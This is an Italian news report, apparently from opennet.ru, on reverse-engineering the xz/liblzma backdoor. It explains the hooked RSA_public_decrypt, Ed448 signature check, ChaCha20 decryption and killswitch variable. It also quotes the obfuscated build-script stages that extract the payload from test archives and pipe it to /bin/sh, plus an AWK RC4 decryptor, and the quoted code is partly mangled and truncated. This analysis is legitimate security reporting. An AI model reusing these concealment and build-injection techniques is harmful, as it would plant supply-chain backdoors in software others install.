Sono disponibili risultati preliminari dell'analisi inversa di un file oggetto malevolo integrato in liblzma, emerso in seguito a una campagna di distribuzione di un backdoor nel pacchetto xz. Il backdoor colpisce esclusivamente i sistemi x86_64 basati su kernel Linux e sulla libreria C Glibc, in cui a sshd viene applicata una patch aggiuntiva che stabilisce un legame con la libreria libsystemd per supportare il meccanismo sd_notify. Inizialmente si pensava che il backdoor consentisse di aggirare l'autenticazione in sshd e di accedere al sistema tramite SSH. Analisi più dettagliate hanno dimostrato che non è così, e il backdoor permette invece di eseguire codice arbitrario nel sistema, senza lasciare tracce nei log di sshd.
In particolare, la funzione RSA_public_decrypt intercettata dal backdoor verifica la firma dell'host utilizzando una chiave fissa Ed448, e in caso di verifica positiva esegue il codice fornito da un host esterno tramite la funzione system() prima che il processo sshd perda i privilegi. I dati contenenti il codice da eseguire vengono estratti dal parametro 'N', passato alla funzione RSA_public_decrypt (campo 'n' della struttura rsa_st, contenente la chiave pubblica fornita dall'host esterno), quindi vengono controllati tramite checksum e decriptati utilizzando una chiave predefinita ChaCha20 prima della verifica della firma digitale Ed448.
Un segnale per attivare il backdoor in sshd è costituito dal meccanismo standard di scambio delle chiavi host. Il backdoor sfrutta il fatto che i certificati OpenSSH includono la chiave pubblica del firmatario, e reagisce solo alla chiave preparata dall'attaccante che corrisponde a una chiave fissa Ed448 predefinita. Se la verifica della firma tramite la chiave pubblica fallisce o se l'integrità dei dati eseguibili non viene confermata, il backdoor restituisce il controllo alle funzioni SSH standard.
Poiché la chiave privata dell'attaccante è sconosciuta, non è possibile implementare un codice di verifica che consenta a terzi di attivare il backdoor e realizzare uno scanner di host compromessi nella rete. I ricercatori hanno preparato uno script che dimostra la tecnica di sostituzione della chiave pubblica con contenuto arbitrario nel certificato OpenSSH trasmesso dal client SSH, che verrà elaborato nella funzione RSA_public_decrypt intercettata dal backdoor.
I ricercatori hanno anche notato la presenza di una costruzione che disattiva il backdoor (killswitch) sul sistema locale in presenza della variabile d'ambiente 'yolAbejyiejuvnup=Evjtgvsh5okmkAvj' impostata prima dell'avvio di sshd.
In aggiunta, si segnala un'analisi dettagliata delle costruzioni shell utilizzate per complicare il processo di estrazione del file oggetto con il backdoor e la sua sostituzione nella libreria liblzma. Durante la build del pacchetto xz, uno script di build-to-host.m4 eseguiva un codice che trovava tra i file di test l'archivio bad-3-corrupt_lzma2.xz, sostituiva alcuni simboli, lo trasformava in un archivio integro ed estraeva un shell script. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-‘
Lo shell script ottenuto estraeva a pezzi da good-large_compressed.lzma un altro shell script, saltando sequenze specifiche tramite i comandi head e tail, e sostituendo i simboli con il comando tr. ####Hello#### # alcuni byte binari qui, ma poiché è un commento, vengono ignorati [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048)’;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####
Di conseguenza, è stato creato uno shell script complesso e voluminoso che estrae il file contenente il backdoor dall'archivio good-large_compressed.lzma, lo decritta e lo integra in liblzma. Tra l'altro, lo script conteneva un'implementazione del meccanismo dei plugin, che consentiva successivamente di fornire componenti eseguibili aggiuntivi tramite il posizionamento di nuovi archivi di test, senza modificare good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, ma utilizzando la ricerca per firma. Il codice includeva anche un decrittatore basato sull'algoritmo RC4, implementato nel linguaggio AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk ‘BEGIN{FS=“\n”;RS=“\n”;ORS=“”;m=256;for(i=0;i<m;i++){t[sprintf(“x%c”,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[“x” (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Fonte: opennet.ru
